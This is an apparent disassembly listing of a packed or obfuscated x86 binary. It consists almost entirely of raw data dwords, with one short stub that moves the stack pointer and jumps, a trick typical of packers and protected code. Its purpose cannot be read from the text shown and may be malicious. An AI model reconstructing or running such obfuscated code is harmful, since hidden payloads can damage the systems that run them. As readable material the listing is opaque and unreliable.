dd 204E4E74h, 3610A913h, 0F62BC8FBh, 83642C7Fh, 0CE7C4526h
dd 42000000h, 310688C2h, 6FA2DD68h, 0EBAF2DBEh, 21505B89h
dd 3975E291h, 442E590Ah, 0ABE9CF6Ch, 0B6184B86h, 578AC488h
dd 9441E29h, 195339D6h, 517FB2ECh, 0BEF12B87h, 4764C690h
dd 0C9B9DC8Dh, 699CD616h, 4BBB134Ch, 7D9FAA8h, 0A1C21C2Fh
dd 222FB3F3h, 22C53B13h, 222F3274h, 0A946BC13h, 0EF1657C7h
dd 0F295F7C1h, 92AFDA18h, 12436EACh, 6989342Eh, 864D0901h
dd 0AC000006h, 4228456Ch, 0D4BAD706h, 654B6897h, 0F4DAF72Ah
dd 6A6E8BB6h, 0D9044278h, 6E95D6BCh, 12C6B51h, 91C4FEE4h
dd 18C6A774h, 1326B156h, 0C221FF58h, 0F5205F84h, 0F89BFDC7h
dd 7EB9E21Eh, 0F1531D4Bh, 0B55CF9C3h, 15975988h, 0F398976h
dd 0AA4776B3h, 3A578AC4h, 5588C20Ch, 14D83B2h, 0D788BBF5h
dd 318D4FCFh, 6F27C4F7h, 0D1954364h, 0DD16C9F3h, 0D5032E6Dh
dd 260CA90Bh, 0E716B9ECh, 0E3AC6891h, 4DF491E1h, 3A6Fh
dd 88C2AF00h, 421C2755h, 0DCA6D407h, 0EC1F593Fh, 0E88DB0BEh
dd 0E0A65475h, 0EE16C91Ah, 0BBF5DB78h, 0CF0BE588h, 0BA872A0h
dd 258664h, 0EDC70000h, 997331B3h, 9D62FFC2h, 0C2709E3Bh
dd 0F6840688h, 9BDAFDD5h, 4E730B39h, 9516C94Eh, 114B591Ch
dd 0C293C1DEh, 10275588h, 84A548B8h, 1AF1B563h, 8DFD16C9h
dd 20BD1F52h, 33ABEF66h, 9BBC731Ch, 2684A9EDh, 8FBF3513h
dd 132684CFh, 246A18CFh, 0AA132684h, 0CD70D234h, 4B8CB9F3h
dd 5B8EC824h, 0BCF6DCF9h, 0EC445B89h, 0C4FFD97Ch, 4EF4FF42h
dd 0D93B7A1Dh, 0F1610F3Ch, 3519DC1Eh, 29578AC5h, 805AFD5Fh
dd 0ACDF1946h, 0AF52B47Eh, 477AB48Eh, 0C9345717h, 0A6E75716h
dd 0D9801D7Fh, 99DD8BACh, 2516C934h, 0EB1253AFh, 0FB2E684Eh
dd 0A7E8C2CDh, 52AAE380h, 701E3FE2h, 16C9342Eh, 9DDE3AB0h
dd 0E17E4876h, 0C47293B4h, 16C93482h, 0E7A7550Ch, 0E716C934h
dd 0B8720F71h, 1C32323Bh, 4D11BFE0h, 51132039h, 0E65C3EDBh
dd 8B45BFB5h, 0DA968E69h, 4D9h, 7B98BFFFh, 0D2A5995h, 9EBBEA27h
dd 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh, 0E0210724h
dd 77B69CB9h, 0F492F4Ch, 11F2BFDCh, 26B62363h, 7452AB13h
dd 1F5B88C2h, 44718EF0h, 0D2002B6Ah, 4B856B08h, 1A6529D7h
dd 0F36916C9h, 659F6391h, 2400432h, 0A6E5A9D7h, 1ACA8C3Ah
dd 5ED416C9h, 9DC0CEFCh, 0DF3EC6D8h, 0A7D40E96h, 410B396Ch
dd 3DE3C2DFh, 3340CFD7h, 7Fh, 0A7176FF9h, 0C809E304h, 2D4A04A1h
dd 261C325Ch, 54175705h, 27971320h, 0AC5DBFE6h, 0B2A8C405h
dd 0DBBD5AA7h, 1B307624h, 48BE1320h, 482243E6h, 0EAACDC0Bh
dd 0F413201Bh, 0DAB4E17Eh, 0C37769Bh, 164473B0h, 13CDEA4Ch
dd 13201B51h, 0F9A71B55h, 13201BB5h, 0BE61C339h, 6281BE8Fh
dd 3E49FA21h, 18BF5CD8h, 9AC8F332h, 3F4DEh, 34F01F00h
dd 39E81936h, 115503A6h, 9D1320EDh, 0C25C8A27h, 0ED205B88h
dd 5F995D8Bh, 7ED60F2Ch, 294A6B0Eh, 0C91A3B7Bh, 1D4DC316h
dd 16C91A59h, 0BE00AE65h, 4016C91Ah, 9ECB68CAh, 322367F0h
dd 4371E71Ch, 200C97ABh, 6D47E013h, 0AD40231h, 6E3D386Dh
dd 4526C5A2h, 0FCF483B2h, 0FF385D47h, 444162h, 6F070000h
dd 5604A717h, 1C32294Dh, 7933F4B9h, 11887302h, 4DD0CAFh
dd 0EA1D585Fh, 147A0639h, 0DAB4BF77h, 0D4801F9Dh, 0E651340Bh
dd 152DE784h, 62132090h, 86B1EFC9h, 0EAC1B4E9h, 45265D26h
dd 0F03Ah, 88C20000h, 25632755h, 0CE08CCFAh, 6FA96D9Bh
dd 74D60542h, 8BBAF7D1h, 4FF6935Dh, 0C9176495h, 4774AE16h
dd 5F7CDE09h, 0AF7A0332h, 0BAC19CC9h, 0CAFD371Dh, 0BD2D859Ch
dd 0B4BF91Ah, 9316C951h, 0A553801Dh, 1C325E08h, 96C3E056h
dd 0F55180BCh, 905A88BBh, 0F862BAF3h, 265592BBh, 9ECC2EF8h
dd 21CF72D4h, 19C6DF36h, 0F01D5731h, 832082B5h, 0AE882BA1h
dd 10560470h, 9E16CBEDh, 0CE98C628h, 0C2E30431h, 0CBED5214h
dd 23631116h, 0AB16CBEDh, 0CA67DD35h, 5E7BA6E4h, 0DE0F3A78h
dd 6F71720Eh, 0A6AD6961h, 0CC000002h, 6248658Ch, 0F4DAF726h
dd 856B88B7h, 14FA174Ah, 8A8EABD6h, 0F9246258h, 8EB5F6DCh
dd 214C8B71h, 0B1E41E04h, 38E6C794h, 1326B476h, 7B411F78h
dd 0AF5B5E4Ch, 7815FB67h, 0F12F5492h, 0FE608FCCh, 87A406D0h
dd 173467A1h, 58176FE9h, 9FE89215h, 3B70AEA3h, 4A4E7728h
dd 9947EA4Ch, 1C32C488h, 0C25A88FEh, 1320E680h, 8C1F56F7h
dd 45262BC4h, 0BE2DA1D0h, 3D5B5F7Ch, 0CB7FA0h, 0C2450000h
dd 63275588h, 2857FA25h, 0D2A4DA09h, 5D15B204h, 0C97334C5h
dd 68163716h, 16C97D26h, 0AF9532A8h, 3F254275h, 8DA4D205h
dd 7422C535h, 1C3272DBh, 5790AD23h, 0CBEC8FFFh, 64A879Ch
dd 401474C5h, 2D530400h, 3E802E88h, 0C01320F1h, 914BE84Ah
dd 19C66E85h, 96701389h, 0E3102D58h, 9DCC09h, 7AB7DC1Ah
dd 81B4EF4Bh, 0B2CEE1Fh, 2B236F72h, 1B06Fh, 6F96D600h
dd 1306C52h, 92C1FEE4h, 21548F75h, 0B5E01E04h, 644E9498h
dd 0F8DEFB26h, 8D7390B7h, 2006234Eh, 0C996B3E6h, 0B5743AE8h
dd 217A1326h, 5F84C243h, 0FAC4F225h, 5B957B98h, 0EEC11FD9h
dd 771AE262h, 0C95485C9h, 31930916h, 0D00DE714h, 0CA973A1h
dd 5588C2DEh, 0F6296327h, 0C2843253h, 8116C91Ah, 0C91A93D3h
dd 4DA51B16h, 133A7BD7h, 0AFE9CF76h, 0C5FFD97Ch, 0E99A6492h
dd 6C4C13FDh, 0BB7310C4h, 39DC4CA4h, 0D6FD3E18h, 253E7F39h
dd 4AC01C32h, 0EF1A581Ch, 92C1FDC1h, 60157464h, 2A4BC23Eh
dd 0F00D407Ah, 4CEF5FB7h, 0D8E9499Eh, 0B1DF5519h, 5280B3EDh
dd 0FD542144h, 0E49235A5h, 1C31CD33h, 422845BBh, 0E3A7D508h
dd 674B79A4h, 0E51F85F0h, 40EE0FB2h, 1320057Eh, 0A2D51080h
dd 0C3FCA340h, 3758FB6Bh, 3B1215Dh, 13200543h, 4573D54Bh
dd 6324DE7Bh, 6B19DB35h, 0C903C7F5h, 0D846896h, 2791E968h
dd 0B75ABCEBh, 15A6E896h, 0B22816C9h, 753AE815h, 2E1C3225h
dd 0AEEF1854h, 2D8F5987h, 9BD935FFh, 7BF1D370h, 5DCD255Eh
dd 0B49D0CBAh, 2B5A19DAh, 1FAD711Eh, 0DEB5AE73h, 0EDA6B263h
dd 71E7C966h, 12457F43h, 0A2D50FF5h, 0EC24DC74h, 0FD2013E2h
dd 70F22C78h, 0C51AF833h, 14319323h, 8DC7F42Eh, 0CAF81F60h
dd 0A6709E00h, 31031AF5h, 84E61F28h, 24579256h, 0C5F832F6h
dd 6598D397h, 99DC5337h, 63128905h, 0B7D40741h, 4473B08Ah
dd 5487C1A7h, 434C82B1h, 248FA59Dh, 15F0835Dh, 88258757h
dd 314D0h, 0A1540000h, 5B82C233h, 0FC2F692Dh, 0A0CB0ACEh
dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h
dd 75A4E0A4h, 89508647h, 405E0h, 0E8830000h, 24048704h
dd 2404895Ch, 5E0168h, 242C8900h, 81E78957h, 4C7h, 4EF8300h
dd 5C243C87h, 50240C89h, 0A6678B8h, 25D0F71Dh, 75947FF2h
dd 0FB1C7A25h, 86F4356Bh, 8150657Fh, 75742404h, 815D0D0Ah
dd 0A7574EDh, 8B54580Dh, 0C483240Ch, 0BE565004h, 8, 15EF089h
dd 582889C8h, 51240C8Bh, 0C181E189h, 4, 8704C183h, 8B5C240Ch
db 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5461C3
; ---------------------------------------------------------------------------
dw 4254h
dd 0B808AD55h, 5EFB1C1h, 0E0FFC503h, 84FC7FBh, 6CEB004Ah
dd 3C33D80Fh, 7E7B5056h, 74AE750Eh, 5DF5B81Bh, 74009C36h
dd 13990D16h, 6B30F348h, 4FBE3524h, 897B590h, 95D46AFh
dd 24F5D731h, 1389567Ah, 42D1CDAAh, 7F488473h, 755872C0h
dd 54AB1069h, 375D8652h, 1D841DF2h, 4663804Fh, 55ACE026h
dd 518A7299h, 32CB1F7Bh, 15FE9h, 0D48B5200h, 0E860h, 815D0000h
dd 0EFB2D5EDh, 8428B05h, 2638453Dh, 38850F78h, 8B000001h
dd 4A8B0C42h, 0BBC8D318h, 4D0FB2D2h, 0E883C333h, 55858904h
dd 8B05E926h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 931F69BEh
dd 2BC633D2h, 0FCE083C7h, 8904E883h, 0E9080585h, 14428B05h
dd 163D8589h, 428B05E9h, 0B0E95318h, 0FF000000h, 0E9326DB5h
dd 0B9E905h, 0B5FF0000h, 5E9182Dh, 0AEE9h, 0D5B5FF00h
dd 0E905E931h, 0A3h, 257DB5FFh, 98E905E9h, 0FF000000h
dd 0E92F55B5h, 8DE905h, 0B5FF0000h, 5E92839h, 82E9h, 99B5FF00h
dd 0E905E903h, 77h, 10E9B5FFh, 6CE905E9h, 0FF000000h, 0E903F5B5h
dd 61E905h, 0B5FF0000h, 5E90055h, 56E9h, 55B5FF00h, 0E905E923h
dd 4Bh, 15DDB5FFh, 40E905E9h, 0FF000000h, 0E930EDB5h, 35E905h
dd 0B5FF0000h, 5E91EE9h, 2AE9h, 0BDB5FF00h, 0E905E904h
dd 1Fh, 321DB5FFh, 14E905E9h, 8B000000h, 0BB8D8h, 0F7660000h
dd 368D8DE3h, 305EFB3h, 0FFE1FFC8h, 0E90BC595h, 858B5B05h
dd 5E92655h, 0F045839h, 0F85h, 16A5300h, 1E9595FFh, 0E95B05E9h
dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 3A5858Bh
dd 8D8D05E9h, 5EFB424h, 8B014189h, 8E8C3h, 0C5810000h
dd 37B0F705h, 0F3BA59BFh, 597D60E5h, 81FFBF0Fh, 5A95C1h
dd 0F7F28000h, 0D081F633h, 13F3A428h, 600E34FFh, 0E902F780h
dd 10h, 7F25A982h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 850F5B61h
dd 5, 3295A1BFh, 4DEB8113h, 0E960771Ch, 5, 0C028F70Dh
dd 98C381D4h, 0E9093D98h, 5, 3866570Dh, 82C381CFh, 0E874E083h
dd 12h, 0B415F270h, 0ED8F9044h, 0F36A82C2h, 491C4A56h
dd 895853A2h, 0BA53311Ch, 2CD463E5h, 0C8C0F5Fh, 0E9000000h
dd 7, 0E5690D7Ah, 83657289h, 820F01EEh, 5, 1DA8166h, 4E4E4E5Ch
dd 0CEB70F60h, 816107B3h, 0FFA650FEh, 59850FFFh, 0FFFFFFFh
dd 1A82h, 148B0F00h, 0E8000000h, 0Eh, 6EC261A5h, 0A9FEF3F2h
dd 5BAA12A9h, 0C65F54FBh, 0E90EE585h, 0DF685605h, 0FFA9C530h
dd 0E91EFDB5h, 6F858D05h, 0FF05EC7Ah, 498D8DD0h, 5105E927h
dd 0B5FF406Ah, 5E90DE9h, 569B5FFh, 0D0FF05E9h, 0DE9B5FFh
dd 0B5FF05E9h, 5E90569h, 0EE8h, 1FD49900h, 1369B3DAh, 58361564h
dd 5A0DCE4Ah, 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h
dd 0FF33241Ch, 581734FFh, 819FE881h, 0C0810568h, 0EE2C274h
dd 0BBAEF081h, 8F5032A8h, 0EF833A04h, 243C3B04h, 0FFDA850Fh
dd 9D8DFFFFh, 5E92EB5h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh
dd 0E8C98B18h, 0Bh, 0EDC163A3h, 37113154h, 0F5431866h
dd 10E95Bh, 38EC0000h, 0AA2E12E5h, 0C158D36Fh, 6E0F5214h
dd 0C38172D5h, 697Fh, 0FFF8FF33h, 0BA661F34h, 0B45EE54Bh
dd 26EE81CEh, 0B061471Ch, 4DC6815Dh, 813477A6h, 7EF6F6EEh
dd 0DA81666Bh, 60566D69h, 5A5F5151h, 0EE8h, 40855D00h
dd 228B979h, 0EA0B4CFAh, 8BDB2F31h, 8F615FD9h, 8B663B04h
dd 0F2E981D6h, 8350C699h, 8C0F04EFh, 3, 81E1ED80h, 0FF972CFFh
dd 0F850FFFh, 8A000000h, 19E9D3h, 732A0000h, 0A962A740h
dd 0D68BBDC5h, 0FFFF86E9h, 0F2358FFh, 37AD0A09h, 0E8908792h
dd 11h, 7DC0C703h, 95E0592h, 0A197CFCBh, 31A6A9A5h, 8B6660D3h
dd 0CFB70FD6h, 0F6805861h, 0FC0816Bh, 0E900005Ch, 5, 3D61E6B0h
dd 8BF62B10h, 300C8BF8h, 0B408D781h, 0E9817D9Bh, 7566FADBh
dd 0DE9h, 89DF200h, 753736DAh, 1800B63Ch, 0E981D9CDh, 67A3EC06h
dd 4820Fh, 0BF660000h, 0E981231Bh, 18F24AC1h, 10E9h, 0A6F3BA00h
dd 0D71C02Bh, 46716B6Eh, 0E9AA5816h, 300C8976h, 13E9h
dd 5C23F700h, 4F2AA7B8h, 0EED9B8CEh, 0F4673A6Dh, 402B2601h
dd 0DB85BA66h, 0E804EE83h, 6, 630A1F44h, 0D38BADDEh, 0DCFE815Ah
dd 0FFFFFA4h, 1685h, 6850F00h, 0F000000h, 81h, 25E900h
dd 50FF0000h, 0E990B5A8h, 11h, 52799B89h, 28E4A662h, 0AEB50687h
dd 439360FAh, 0FF47E925h, 0D784FFFFh, 0EB919D25h, 8, 71A51600h
dd 4A1E958h, 0AC680000h, 0E905EFB8h, 0FFF9C867h, 0EFB95C68h
dd 0C85DE905h, 7F68FFF9h, 0E905EFBAh, 0FFF9C853h, 9BB8DF1Fh
dd 2D4A79B5h, 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h, 6FAD05DDh
dd 412744h, 97D6BCD9h, 2F694F6Ch, 3112DFFCh, 26ADC383h
dd 9472CB13h, 0B65984C2h, 44729DDCh, 6125DD7Ah, 90BBFA27h
dd 0C3E4112Eh, 0C91A5115h, 4AE75D16h, 0A649B911h, 0C3608FCCh
dd 5D9B7596h, 85EB0432h, 6048A8B5h, 0B921D234h, 7BDF0844h
dd 6526E07Dh, 711C32A9h, 0D35CDFBh, 751320A1h, 1ADE0C37h
dd 0BC80AEDDh, 4DEA537Eh, 6E0F7628h, 0F3275607h, 23BB4AA4h
dd 0B35D3CD9h, 0AD452653h, 2D9h, 0C438473h, 0F3A144B4h
dd 1C321C12h, 1443E65Ch, 8C66D217h, 964FECA6h, 47EB8B00h
dd 0AC1C7466h, 4FDA5B09h, 9F64E4BDh, 8AA1EA2Ah, 0D8066872h
dd 56F969C1h, 57A5A9A8h, 983BB1E1h, 0A45580BEh, 0AFD60947h
dd 2350ED8Fh, 0BFDC0F49h, 83C37192h, 0BEE4552h, 244F295h
dd 8CEE4552h, 59937916h, 0F84CF526h, 9B9376E7h, 2F6DFh
dd 0AFD61600h, 4170AC92h, 0D2013E24h, 6194CFB5h, 0F5205E44h
dd 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h, 6046638Eh, 9D6F326h
dd 0A2347A28h, 61BA1326h, 0AC5A7B83h, 16C91AEAh, 0A25C2FF4h
dd 9297E8EFh, 25A9330h, 0D815EF92h, 31DF0CA9h, 1C33E259h
dd 19573152h, 0C6F6C0EEh, 1326CC80h, 4F3AF8B5h, 0FB535229h
dd 9006E885h, 0ABD213EDh, 472E06FAh, 6401735Bh, 0F41F5D37h
dd 96D0AAD7h, 0CE6B3563h, 4A85AAE8h, 78916617h, 677285A8h
dd 0ABCCD705h, 356396D1h, 0A47B3B6Bh, 0D831326h, 754FB670h
dd 558F63ACh, 0FF4EF122h, 0A9A17563h, 246EDh, 0FF266600h
dd 91C0FCE2h, 22518E74h, 0B1E41F05h, 4570AE94h, 0F4BE2428h
dd 886E8BB6h, 1D032047h, 0B096B3DEh, 59264376h, 0A384CA78h
dd 0B10A1326h, 62A17BD3h, 0A23F0937h, 0FEA11169h, 33833A50h
dd 0D8067C1Ch, 26AD0240h, 0BBDC7513h, 26AD490Dh, 42DF5513h
dd 9D43680Dh, 93452064h, 15Dh, 5588C259h, 0F6296327h, 0D848A0D9h
dd 230E8735h, 9A101C32h, 0CEED46Ch, 0D3141320h, 80BA7EACh
dd 0D02F1F4Dh, 0F192F9A5h, 0C5792784h, 39774526h, 3E000000h
dd 142F6F1Dh, 39AF1320h, 0D572A1DDh, 0A7176FA7h, 0C2E92A04h
dd 594AF825h, 0AD1C3229h, 51710937h, 0A613200Bh, 0CBF2330Dh
dd 136D39Dh, 0C6693774h, 92874526h, 4D000000h, 275588C2h
dd 0BB92563h, 16C91A4Bh, 0E8D859FAh, 72CA6DA2h, 0A86C9AFCh
dd 0D702416Eh, 49834775h, 213FF916h, 2516C9DCh, 629BB8EBh
dd 49F79A0Ah, 1C2F4A68h
dd 0CBA548BEh, 90BF628Dh, 0B9EF7B9Eh, 9F46E3A5h, 1B567BB9h
dd 8EF0BAE8h, 8842A85Dh, 33EFE769h, 123h, 0BFDC0343h, 516E9DD9h
dd 0E2FF2E6Bh, 718EC1FCh, 5224D8Bh, 9BD9E101h, 2C6D5370h
dd 0C302E805h, 5B957B98h, 5D3E0B28h, 26A0EFAFh, 0B896EF13h
dd 3C5984C2h, 0CCE91C56h, 63A17B9Eh, 0A3400A38h, 225083BDh
dd 0D4F1245Eh, 85A478A7h, 2E5299h, 68D22A63h, 8D20027h
dd 73D403A6h, 0BD14C23Ch, 0BC6A9734h, 1C3227D3h, 0E102A51Bh
dd 914DCB07h, 0A11E7826h, 24EE1C7Eh, 3863A187h, 0C061611Bh
dd 67A11320h, 0F3311734h, 608F9AC8h, 744473C9h, 9D7B18C3h
dd 8Bh, 0A7176FDDh, 83285604h, 0BF761C33h, 26AD4D11h, 79DB5113h
dd 1A4D874Bh, 1AFD0FDh, 1326ADBDh, 482ECB41h, 15ADDB0Eh
dd 0C18C8780h, 0F11F4E8Ah, 96C4EF2Dh, 514D28C5h, 0E86190ABh
dd 6F453731h, 75AA47h, 1A376AA4h, 0A778BEEDh, 0EB6D31DFh
dd 0FB714EB8h, 1622664Ah, 26599379h, 0C6F934F8h, 383DB498h
dd 0E2FF326Ch, 719CDBB5h, 0DE1D7943h, 0F63016B3h, 698A95C3h
dd 0B8E7FBBBh, 91C4FF4Eh, 4826C339h, 3, 0C233A188h, 692D5B82h
dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
dd 3E023063h, 0E0A4D201h, 864775A4h, 2E8C68h, 242C8900h
dd 5F8368h, 243C8900h, 528E68h, 240C8900h, 0EFB7A368h
dd 243C8B05h, 5404C483h, 83240C8Bh, 525704C4h, 5A7223BAh
dd 2454292Ah, 418F5A04h, 8418108h, 2A5A7223h, 592434FFh
dd 0FF04C483h, 815F2434h, 4C4h, 0C3D9E900h, 96F0FFF9h
dd 2C8806A0h, 0B8B3DFBDh, 5EFBBC7h, 0E0FFC503h, 5A452A25h
dd 7934C24Ah, 1D5DE09h, 6351CB7Fh, 77DC94C2h, 0BCDE8D8Dh
dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0EE1CA1C3h, 11E8859Ah, 8D000000h, 0B551044Ch
dd 734CC29Fh, 9A69D8C2h, 6FF5C946h, 17D19D23h, 895E05E9h
dd 0E926558Dh, 13E905h, 0BFC80000h, 96E06E60h, 0BF48190h
dd 0F7221AD2h, 0BB066577h, 585C788h, 6005E908h, 0B800006Ch
dd 60644E75h, 163D85C7h, 5E9h, 0B5090000h, 5E91E91h, 321DB5FFh
dd 816605E9h, 0F8D62EF0h, 0BC595FFh, 0DA8B05E9h, 95FF006Ah
dd 5E91E95h, 0EEBC08Bh, 85CA5300h, 0D56DCBB7h, 0BA7BCFFFh
dd 5E82453h, 16000000h, 979A1092h, 0E2C3815Bh, 81000074h
dd 0E9E0E5EFh, 0FFC9335Fh, 85231934h, 5E90B91h, 0A9B50B5Ah
dd 8105E90Bh, 62579EEAh, 0F281F559h, 69EE3665h, 0FFB7C281h
dd 0B70F42CFh, 0B1489C6h, 1F819589h, 858B05E9h, 5E92DC1h
dd 0B003E983h, 0F9814915h, 0FFFF8BA0h, 16850Fh, 858B0000h
dd 5E916E5h, 20E9h, 38B9400h, 0B7C31E04h, 0E35500A9h, 28F5858Bh
dd 98E905E9h, 59FFFFFFh, 949C46C7h, 0A15D059h, 9E8E1h
dd 91220000h, 1637410Ch, 8B677D9Fh, 0E90435B5h, 0C0815805h
dd 70AAh, 0FBF78150h, 590711FEh, 3F004BBBh, 0B6F38134h
dd 89343F1Bh, 0E9111D9Dh, 0B530FF05h, 0AE95A07h, 0A9000000h
dd 0C8E4326h, 54D4A0D4h, 25F281DEh, 66215347h, 0B4FAEE81h
dd 0F971C281h, 0F572E7Fh, 815FF2BFh, 0E414F8EAh, 0B9953117h
dd 8905E927h, 8B665610h, 0E8835ECBh, 0A9BD8B03h, 4805E90Ch
dd 14E9h, 23934000h, 0E1D15618h, 0C844AC80h, 52A1DAA5h
dd 172D3CFAh, 850F4B1Eh, 12h, 2755BD2Bh, 19E905E9h, 1B000000h
dd 0A047711Ah, 0BD236481h, 5E926E1h, 0FFFF7CE9h, 5053E6FFh
dd 39BF575Ch, 0BD83C08Bh, 5E9164Dh, 83097500h, 0E91121BDh
dd 19740005h, 0C08B5350h, 421B8h, 0B9858900h, 8D05E923h
dd 0EBB8C49Dh, 5BD3FF05h, 21BD8358h, 5E911h, 53501774h
dd 421B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh, 5BD3FF05h
dd 8BC08B58h, 0E907699Dh, 0E585C605h, 5605E90Eh, 0A8B85268h
dd 0FDB5FF9Ch, 8D05E91Eh, 0EC7A6F85h, 6AD0FF05h, 10006804h
dd 0B5FF0000h, 5E91241h, 0D0FF006Ah, 850FC085h, 0Dh, 0B8h
dd 0D48D8D00h, 0FF05E972h, 8BC88BE1h, 3C4003C3h, 0F805h
dd 0C508B00h, 0BD83D303h, 5E92EB5h, 0E840F00h, 8B000000h
dd 0E92EB59Dh, 11858B05h, 8905E909h, 8D525103h, 0E942B185h
dd 8BD0FF05h, 8BF18BFAh, 0F3C88BD1h, 0E585C6A4h, 5605E90Eh
dd 1F6D3968h, 0FDB5FFD4h, 8D05E91Eh, 0EC7A6F85h, 68D0FF05h
dd 8000h, 0FF52006Ah, 83C08BD0h, 0E9164DBDh, 9750005h
dd 1121BD83h, 740005E9h, 8B535019h, 421B8C0h, 85890000h
dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
dd 50177400h, 421B853h, 85890000h, 5E905ADh, 0B5CC9D8Dh
dd 0D3FF05EBh, 0C08B585Bh, 2EB59D8Dh, 38B05E9h, 840FC00Bh
dd 7, 5B8B038Bh, 0B8188904h, 4B41h, 5E8h, 579CB700h, 99B5D1FFh
dd 44B55358h, 6FC0815Bh, 33000072h, 0BE9FFh, 0ACB00000h
dd 0E6D980D4h, 0E78E0C88h, 38148B39h, 8E426BBh, 97F2814Fh
dd 8117C93Dh, 61039DF2h, 9BF2817Dh, 8B340C6Bh, 0AE952D8h
dd 0F9000000h, 2B351FF5h, 0C89915E9h, 38048F60h, 8166CE8Bh
dd 83488CC1h, 13E802EFh, 3C000000h, 0E77C3B61h, 1B66F87h
dd 0DD520290h, 5AA3BF81h, 5BF9DC00h, 81F94F4Fh, 0FF8E40FFh
dd 13850FFFh, 0F000000h, 25E9D8BFh, 74000000h, 67F79287h
dd 883301ABh, 816643D3h, 0E995CFDEh, 0FFFFFF81h, 86A6648Eh
dd 3C862D4h, 334E99F3h, 97CBB14Fh, 3BE9h, 0BD8B6000h, 5E9185Dh
dd 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h
dd 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h, 100h
dd 0FFD3820Fh, 0C361FFFFh, 11E8C88Bh, 0E7000000h, 7FFC3227h
dd 0EFE5DF1Fh, 474479D5h, 792E935Dh, 0AE8h, 6548AD00h
dd 0F9F901B1h, 667F1A41h, 8510EF81h, 0BF66595Fh, 0C181C62Ch
dd 706Ah, 6E8h, 6E979600h, 0F955BA6Dh, 60D22B5Bh, 188F0Fh
dd 13E90000h, 71000000h, 0BD4A5173h, 953F815Dh, 0AA327D20h
dd 11A0377Bh, 0E85341B0h, 5, 6FA4A4CBh, 61585F6Dh, 8111348Bh
dd 4ADDABC6h, 5BFC573Eh, 359F681h, 0CE843C0h, 0E000000h
dd 0A1B9702Ah, 0C9222CF7h, 6033D549h, 7BD68166h, 820F15h
dd 61000000h, 3DF68158h, 81641C99h, 0EC77CE7h, 0D781560Ch
dd 1172339Ah, 0F11048Fh, 281h, 66E38A00h, 8199BDBFh, 0BB6BF2EAh
dd 12E95Fh, 7DA50000h, 94D0B25h, 0DF60D6D8h, 18D6403Ch
dd 8D2F53D3h, 6BEEC281h, 5E95FBBh, 0D4000000h, 731728D4h
dd 90B8FA81h, 850FFFFFh, 15h, 0E9C78B66h, 25h, 6FCF33CEh
dd 0FD345D2Eh, 0A83BBDB0h, 4382B876h, 55E91F29h, 0D8FFFFFFh
dd 0ADA8F896h, 0A2B8315Dh, 7F8D51ECh, 0FDED55A6h, 0F67A5E75h
dd 0E669A476h, 0FD49BC56h, 0FD206CCAh, 0FD204228h, 0FD205569h
dd 0FD20DCCFh, 0FD2019B9h, 0FD20FB97h, 0FD20897Ch, 0FD20315Dh
dd 0FD206D48h, 0FD204277h, 0FD20554Ch, 0FD20DEA1h, 0FD201A02h
dd 0FD20F8E3h, 0FD2089CCh, 0FD203088h, 0FD206CDCh, 358A259Dh
dd 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h
dd 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h
dd 0FD7ABC75h, 0FD7A5E75h, 0A733AB76h, 0A7332375h, 0FD7ACB75h
dd 0FC7BE475h
dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 12BF82F0h, 0EEFFA670h
dd 707F78B7h, 12BF39F0h, 2EFF6C70h, 707F1DB4h, 12BC49F0h
dd 0F2FF3570h, 707FB1B7h, 12BFBFF0h, 2AFF1E70h, 707F24B4h
dd 12BFAAF0h, 26FF7B70h, 707F96B4h, 12B951F0h, 22FFD770h
dd 707FC0B4h, 12B968F0h, 1EFF4270h, 707F0AB4h, 12BEE7F0h
dd 1AFFF070h, 707F53B4h, 12BE2EF0h, 0EFFA670h, 707F78B4h
dd 12BEF7F0h, 16FF6C70h, 707F1DB4h, 12BE22F0h, 12FF3570h
dd 707FB1B4h, 12BE5FF0h, 0EFF1E70h, 707F24B4h, 12BE4FF0h
dd 0FEFF7B70h, 707F96B7h, 12BE75F0h, 0FAFFD770h, 707FC0B7h
dd 12BE7BF0h, 0F6FF4270h, 707F0AB7h, 12BFC7F0h, 0AFFF070h
dd 707F53B4h, 12BF32F0h, 6FFA670h, 707F78B4h, 12BCCCF0h
dd 2FF6C70h, 767F1DB4h, 146A50F0h, 0B1FF3570h, 767FB1B7h
dd 1456C2F0h, 0ADFF1E70h, 9C7F24B7h, 11F1B0B6h, 0FD7AF29Dh
dd 17FB2375h, 0F8957F15h, 0F53FD525h, 3F31ADFDh, 3422929Ah
dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 12B93D98h
dd 2FFFA070h, 7D7FC0B4h, 12BB45C8h, 0B409CF70h, 4B75E4C5h
dd 89BAF9B5h, 0ADEF8635h, 0BD7F53B7h, 452B96FEh, 0FD7A2F7Ah
dd 3F2A028Ah, 48F7CE9Ah, 0F89524A6h, 50FCC6F8h, 0FD7E4B9Dh
dd 456FCF75h, 0FD7A5E76h, 3F2ABA8Ah, 48F7929Ah, 0F8950AA6h
dd 50FCD1F8h, 1F23228Ah, 2FF787BCh, 0A07F53B4h, 0A320052Dh
dd 6D92EC2Ch, 4D7A9777h, 5779C1CDh, 3F36708Ah, 3ED1F79Ah
